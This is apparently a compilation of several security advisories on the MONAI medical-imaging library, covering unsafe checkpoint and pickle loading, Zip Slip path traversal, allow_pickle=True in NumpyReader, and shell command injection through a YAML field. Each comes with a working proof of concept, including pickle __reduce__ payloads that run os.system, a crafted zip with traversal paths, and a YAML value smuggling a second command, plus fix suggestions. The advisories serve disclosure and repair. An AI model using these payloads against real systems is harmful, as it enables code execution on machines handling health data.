        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
  adding: malicious.txt (stored 0%)
  adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip  p1.py  p2.py  r1.py  test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---


test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var
bin         dev                         init  lib64   media          proc  sbin  tmp
boot        etc                         lib   libx32  mnt            root  srv   usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.